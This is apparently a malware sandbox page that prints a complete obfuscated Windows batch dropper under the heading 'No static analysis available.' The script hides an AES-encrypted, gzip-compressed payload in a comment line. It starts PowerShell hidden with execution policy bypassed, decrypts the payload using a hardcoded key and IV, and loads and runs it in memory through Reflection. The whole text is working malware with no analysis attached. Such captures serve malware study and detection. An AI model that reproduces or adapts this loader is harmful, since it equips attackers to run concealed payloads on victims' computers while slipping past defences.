Static | ZeroBOX
No static analysis available.
@echo off
%KNWPvPVDLLemaBAFzYWnTJShQUlwQbrPCWvvRUcaTkfvgwdjziwIfcebUPZBEyMKtpJdgfOEVVuIEwbtQbXIEJKARtAcVBwvxubQMZcuuRMjIvwxOFKCAefKEjlMFLJuzYljvkHQYCnNWBRvXcnpQTUtoqlDNqPIisJJkncDYUDYQsOdrQPCxuEFeRVeYdcINFEERhkKZKqVqWCWChlXAmkONdFtsYFVRVklNjmkFfCNdIpi%s%KNWPvPVDLLemaBAFzYWnTJShQUlwQbrPCWvvRUcaTkfvgwdjziwIfcebUPZBEyMKtpJdgfOEVVuIEwbtQbXIEJKARtAcVBwvxubQMZcuuRMjIvwxOFKCAefKEjlMFLJuzYljvkHQYCnNWBRvXcnpQTUtoqlDNqPIisJJkncDYUDYQsOdrQPCxuEFeRVeYdcINFEERhkKZKqVqWCWChlXAmkONdFtsYFVRVklNjmkFfCNdIpi%e%KNWPvPVDLLemaBAFzYWnTJShQUlwQbrPCWvvRUcaTkfvgwdjziwIfcebUPZBEyMKtpJdgfOEVVuIEwbtQbXIEJKARtAcVBwvxubQMZcuuRMjIvwxOFKCAefKEjlMFLJuzYljvkHQYCnNWBRvXcnpQTUtoqlDNqPIisJJkncDYUDYQsOdrQPCxuEFeRVeYdcINFEERhkKZKqVqWCWChlXAmkONdFtsYFVRVklNjmkFfCNdIpi%t%KNWPvPVDLLemaBAFzYWnTJShQUlwQbrPCWvvRUcaTkfvgwdjziwIfcebUPZBEyMKtpJdgfOEVVuIEwbtQbXIEJKARtAcVBwvxubQMZcuuRMjIvwxOFKCAefKEjlMFLJuzYljvkHQYCnNWBRvXcnpQTUtoqlDNqPIisJJkncDYUDYQsOdrQPCxuEFeRVeYdcINFEERhkKZKqVqWCWChlXAmkONdFtsYFVRVklNjmkFfCNdIpi%l%KNWPvPVDLLemaBAFzYWnTJShQUlwQbrPCWvvRUcaTkfvgwdjziw
:: Idi8lfWOzGseVD6OFF5NU9sOy2viYXR/7jtl2TYxWdnwVpqLMJdwnCpzgp5pkaAy+i/qBH34y9/yataHwz+DU8QG9i37WPV7yzr5slM5pGtMJunvEVwa5N3cg3lIjIL39qzmy6ZVxC2gNo/HCicE7Od9reld8J2qHnX8H+vOsFI5fwoCvINwTf+khdsZGWyfjCk2jlBPcYT9N/Tba3eOYzNFMqWq7c9yiQy7Xqtbel/A/KWzMoF7TREb9asWj2u2TSqBeptZ0VfaZqDEJ1TOJK4C9ec4AgYmoIeDSOcfnlfSlPU9xABb31u46GRtQ/WWKgFONfChsAPqucKG2p2K8hef6iqKN3hXQafvf5lM8GM36FGPuYYp7gthyu44aVjw9fK8SubjlgOz/yacKlQ1IO8e2RJodggwdYPRmonUvxWyqJHBa8EcNAFPCm8VTIIiJTtFPYHvi1wpdYR7rve78uf9jNrju/AOQ3xi3S55RDFsBacxjDczmeS7VZE7xMOnvCJl3hwDI/d0FUH7dsLbdOfSDUOM0JvoMLDDCgbdFxUo2ReQLyj1R3vqXA5+nkiB6whCfRR3U67Lg2DTmwM4MDPBP92t/i37qIVDSvipMi6U4RIXCAmX3AbcFOUCfXtKJHyfjLboiBTbFuC5cXG2g3ImOJpohBT+PMRf46lB+N16KlWsx32VWDXbIMfMb37oQ0gldDtiL+1YZjw7Yatj4I7I2b61EYSd+ewhn98bSB0wMaeQC2OLeA9k3h3O2b81ZYjooItltTxC6waQQHmTz0VtUPKYY1CyW4oJvWXcmutyWMMKYXSPpTU5CdnmMoYwgGn18RMjVysE67gUiJhggw3wtQMFhRQfBrGwFC5l0J/zCK0wNSQm3SET224TuNFsjgqRIukevyAa8zxkiY8eaIicQHt/grpn18zDYombOWdGZBHdq82V+WLpQAY7LBn3KPK6owPqOWq7iaDU1zmrgQphspWHwd37XqK0yfFy2mJtSzio7nuuQov1MQXQa
set "AqFWXzbhcvrlWrbtiuWXCwozzgRRTlwXFjNcJBqCVnbfbGQwLjykUlpebfwQIknRZuGNEZKGducpuiyTqvfKMlcuUIaDfATLakgGZcRMzRgziaJTGDzneDfNrmSVYgBDAqokcRTnDtlVeDlTZhXCaGHwfsoNkWOspDYRLzROJlKKsjIObZWRjZCUJSfJDfdHFSFBEtiAqiSOWWeVKAMkZWjqaeiTthlEhcfzEhkHQwBbgNYN=s"
set "NkZctSHIJoAAlogiWoHTREqCpeuDvhknfvfjhjkovwQpGKwBpsfRgeViTwNoydnBenuQjWaNdsyuOaVFISnccsgbzXqLvWQrjoltpGstssOOGBuSBhFGPkzLgtqmGprgCgkAPBpczUKKEsuYCxjorjBZOznWpgNcaHmzqTdZRDhVzPhOYsJifdPsElLpotMshIJWfUHIukwNcGAYsyXWxEWXRTUfiOKyQONQglIdLaOVGcqY=t"
set "SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU=!AqFWXzbhcvrlWrbtiuWXCwozzgRRTlwXFjNcJBqCVnbfbGQwLjykUlpebfwQIknRZuGNEZKGducpuiyTqvfKMlcuUIaDfATLakgGZcRMzRgziaJTGDzneDfNrmSVYgBDAqokcRTnDtlVeDlTZhXCaGHwfsoNkWOspDYRLzROJlKKsjIObZWRjZCUJSfJDfdHFSFBEtiAqiSOWWeVKAMkZWjqaeiTthlEhcfzEhkHQwBbgNYN!e!NkZctSHIJoAAlogiWoHTREqCpeuDvhknfvfjhjkovwQpGKwBpsfRgeViTwNoydnBenuQjWaNdsyuOaVFISnccsgbzXqLvWQrjoltpGstssOOGBuSBhFGPkzLgtqmGprgCgkAPBpczUKKEsuYCxjorjBZOznWpgNcaHmzqTdZRDhVzPhOYsJifdPsElLpotMshIJWfUHIukwNcGAYsyXWxEWXRTUfiOKyQONQglIdLaOVGcqY!"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "llFjCEZPQSJotYzfAeNBKKxyjJnPLYzqfoRzxGkf=am_var,$param2_var){
$CsvXnLzsosWrcPhcVInNXFiuVqbJsHvAafVtGmyXHAsXkqdBuawMPiRXkabW=[System.Reflection.Assembly]::("
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "riqIHrOHhxGUpsdiNTRUSVvwKzbrfNRImEOHmasX= decompress_function($param_var){
$VPckSkjWDpUVVwmMVWvXbNWwYjoPPMgErqUnOiRuRcwJLjhowmpdMCJiSGmJ=New-Object System."
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "fZeygjXVgpdfkCShnmJpCgifjxvZEQptTFFIDnJm=xudKaOmVNfBRomsysLOBsLZJukJlGHlfFDRhWUsQXULBHRkAEiODfdmMvt);$aJQXYbjwqeIfHYhmQavbwuXoPzatHHQIeIPGeyPwbrfLVjkVQUHJt"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "nhXHDubmjkSnhuhlSEFMHnXISruUipIIpahdrMTD=YLNBFR=$UJKbcwdbduZbtlriedZkEbJNcyWwRFJpqpWmXwsxOWoMANVHPQHJBvnSZXYD.Substring(3);
break;
}}$payloads_var=[string"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "lcLEPOnACbKPVnpajpOmageTBjYhndTfKbAFCsTe=[]]$nluJtoyYTQmHRuQQXAcmRBxTdCtPnRNPDQrwQWgRVIxuUSYrgzPpTgYLNBFR.Split('\');$payload1_var=decompress_function (dec"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "ywoTtlkVnPAukZkTQKbVYMSweInPivXCHMgvAbrX=
$xOYQEPQWBJcKMniAnVnTdfuVUPmxBDwrkuZQDWTyMbkLIhSHpgHfqBcrucVO.CopyTo($VtgRipEFCZYMfagYqnKOcasCwcRPGMuiWizxVFAwFCM"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "jpRxYKDLezpguSCzLvZcKdPNJxZSoFqFTFgEavpK=Dispose();
$VtgRipEFCZYMfagYqnKOcasCwcRPGMuiWizxVFAwFCMxoCYMvLRFVyGVbDug.ToArray();}function execute_function($par"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "FfIYoOgGaFXntpqvMUYhpwCuGXIKEvWNBTpNmxhV=IO.MemoryStream(,$param_var);
$VtgRipEFCZYMfagYqnKOcasCwcRPGMuiWizxVFAwFCMxoCYMvLRFVyGVbDug=New-Object System.IO.M"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "vKMHnHqKeODpOigLERPKXuMRSXNySPtPseAnakjw=xoCYMvLRFVyGVbDug);
$xOYQEPQWBJcKMniAnVnTdfuVUPmxBDwrkuZQDWTyMbkLIhSHpgHfqBcrucVO.Dispose();
$VPckSkjWDpUVVwmMVWvX"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "VBfTesPGHgwVdnqcibsoEBFgcInLgiYFMmOYCOKf=;$host.UI.RawUI.WindowTitle = $EExudKaOmVNfBRomsysLOBsLZJukJlGHlfFDRhWUsQXULBHRkAEiODfdmMvt;$LDnZGGbUCOCSOxwdsnbKI"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "mfeGwpvfrIlHuvWQDSmtKmHGJXivOSTiILtuytsG=')('SxdwVCPCgMSsIsCvtPeAC0Y12ZfQwy15kMKZCEJ6U1A=');
$aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -jo"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "yppRReDVMISWVcJEAKcNPvfaUvUoBpKFIbncCfPs=ANVHPQHJBvnSZXYD in $qPeaogTvlKukBxtYDxZycDaiGySIaCrfMDEDLWGFHlFzfuGqkhzPMWqMPWtQ) {
if ($UJKbcwdbduZbtlriedZkEbJN"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "xxrzRXisSNzKoaCKmQJLrSXGxehNmSTdPaznaHiI=QOIoZbYjAhrlYZfolsFofCNahoyLjUBqqvlCwxVilMpMpyvGRqAjCkWnbIh;foreach ($UJKbcwdbduZbtlriedZkEbJNcyWwRFJpqpWmXwsxOWoM"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "KQQQnqoBUQuyXYmpDEqKzIHPyYLMWNNMlmSerXRd=NCycuLYQwJiAHvm.Invoke($null, $param2_var);}$EExudKaOmVNfBRomsysLOBsLZJukJlGHlfFDRhWUsQXULBHRkAEiODfdmMvt = '%~f0'"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "xrKKUCIroqLqGrNnfjdDUhOfujcZJzRNETvZztXQ=LzsosWrcPhcVInNXFiuVqbJsHvAafVtGmyXHAsXkqdBuawMPiRXkabW.EntryPoint;
$JQZGWvqWTNvIjqfwmlkFmApslJLRoYjFkBnQBMaOZgHGE"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "LwTgoFLRrtVavSyYTwOfQDJZptNQvUIvZeNLgkkj=mFinalBlock($param_var, 0, $param_var.Length);
$decryptor_var.Dispose();
$aes_var.Dispose();
$return_var;}function"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "jffPrSJYWQVqFCyuVZRvfeAzhQiQyrztqmfzvPPj=SRUSusOfyXBNqjFYMJgoDSSoyMLfhDZaXySLthl = [type]::GetType('System.IO.File');$nnPeQbfxnRfGEVwfaYFuIGIYVYBPSrTFExSaN"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "MJQXszINNBJIEUwXQhVQMNRXgMZfNYEprrIcAlbw=y.Cryptography.Aes]::Create();
$aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC;
$aes_var.Padding=[Sys"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "xawqcMBiulyVXqSDHwwemSEaeGjTfwnADJBOwYXX=yload1_var $null;execute_function $payload2_var (,[string[]] ('%*'));"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "wWwgiShdxvHLpnpXHTZZPTpaJeFoyxraBviSJgqp=tion (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $pa"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "ZoOpmHajOudDXpZfFGIAJSzEqBasxZYfjHwRpkmz=OcnsoxobXveBsSMNNDHEQjS = [type]::GetType('System.Environment');$KyIUEPxIcoVAkvFgSJNxgmOTmkPORfqTqNeAxMcPqUwOylOvQ"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "pYBQSeiBuQRNCRsbevevLritVbsuJwKeOxetwPdM=-noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){
$aes_var=[System.Securit"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "tvqAPDpWosUsblIiDosqgwbFIkMzaDjpMcNUgcEc=emoryStream;
$xOYQEPQWBJcKMniAnVnTdfuVUPmxBDwrkuZQDWTyMbkLIhSHpgHfqBcrucVO=New-Object System.IO.Compression.GZipSt"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "IMvlAELplgjXfQPXtLRFRPVLjFFZxOcBJpIuaQee=ream($VPckSkjWDpUVVwmMVWvXbNWwYjoPPMgErqUnOiRuRcwJLjhowmpdMCJiSGmJ, [IO.Compression.CompressionMode]::Decompress);"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "xjbwWcmVfbdWHOZANhaTrjdStsiehZHUTHeAIaCg='daoL'[-1..-4] -join '')([byte[]]$param_var);
$JQZGWvqWTNvIjqfwmlkFmApslJLRoYjFkBnQBMaOZgHGENCycuLYQwJiAHvm=$CsvXn"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "PZbeoWwbnZTPhoAgOkZKHIMPvYtqShQvtiKKQvqu=DpRTXgxKPIt = $LDnZGGbUCOCSOxwdsnbKISRUSusOfyXBNqjFYMJgoDSSoyMLfhDZaXySLthl::('txeTllAdaeR'[-1..-11] -join '')($EE"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "dUsgETNbKhUbYHDfYRdFPgmzhFeTMKxQwJigOXpH=rypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_func"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "sDKuRHOyGvQIlHZaXUPqTSSovOWKISLtItsuJsak=bNWwYjoPPMgErqUnOiRuRcwJLjhowmpdMCJiSGmJ.Dispose();
$VtgRipEFCZYMfagYqnKOcasCwcRPGMuiWizxVFAwFCMxoCYMvLRFVyGVbDug."
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "AmbEZWhNqUMpEvScjpXvkptwYmoUPHbvUKmDtBaX=cyWwRFJpqpWmXwsxOWoMANVHPQHJBvnSZXYD.StartsWith(':: '))
$nluJtoyYTQmHRuQQXAcmRBxTdCtPnRNPDQrwQWgRVIxuUSYrgzPpTg"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "tEHiNbzTagCoUmaZRSQFzCaOWtqnmtxFgyxhgJke=tem.Security.Cryptography.PaddingMode]::PKCS7;
$aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "ayjCeLkRpDwEMaRYQYoINXqqZJlFWjDZDwpdXFax=GWFLCiz = $nnPeQbfxnRfGEVwfaYFuIGIYVYBPSrTFExSaNOcnsoxobXveBsSMNNDHEQjS::NewLine;$bQOIoZbYjAhrlYZfolsFofCNahoyLjUB"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "mEJbtLHSNHRFZazchTDvzFVgZxapLNblXRvinpWn=qqvlCwxVilMpMpyvGRqAjCkWnbIh = $KyIUEPxIcoVAkvFgSJNxgmOTmkPORfqTqNeAxMcPqUwOylOvQDpRTXgxKPIt.Split($aJQXYbjwqeIfHY"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "ctRprYaCXmWecFYHJDbWLsgaFGHhFqPRWpsfNFOb=hmQavbwuXoPzatHHQIeIPGeyPwbrfLVjkVQUHJtGWFLCiz);$qPeaogTvlKukBxtYDxZycDaiGySIaCrfMDEDLWGFHlFzfuGqkhzPMWqMPWtQ = $b"
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "YkVDiPlLCHDnwQuZyxXzharzPcZIcCskAGvzrdyT=in '')('1P9strNakfrnpmB7wPi6rQ==');
$decryptor_var=$aes_var.CreateDecryptor();
$return_var=$decryptor_var.Transfor"
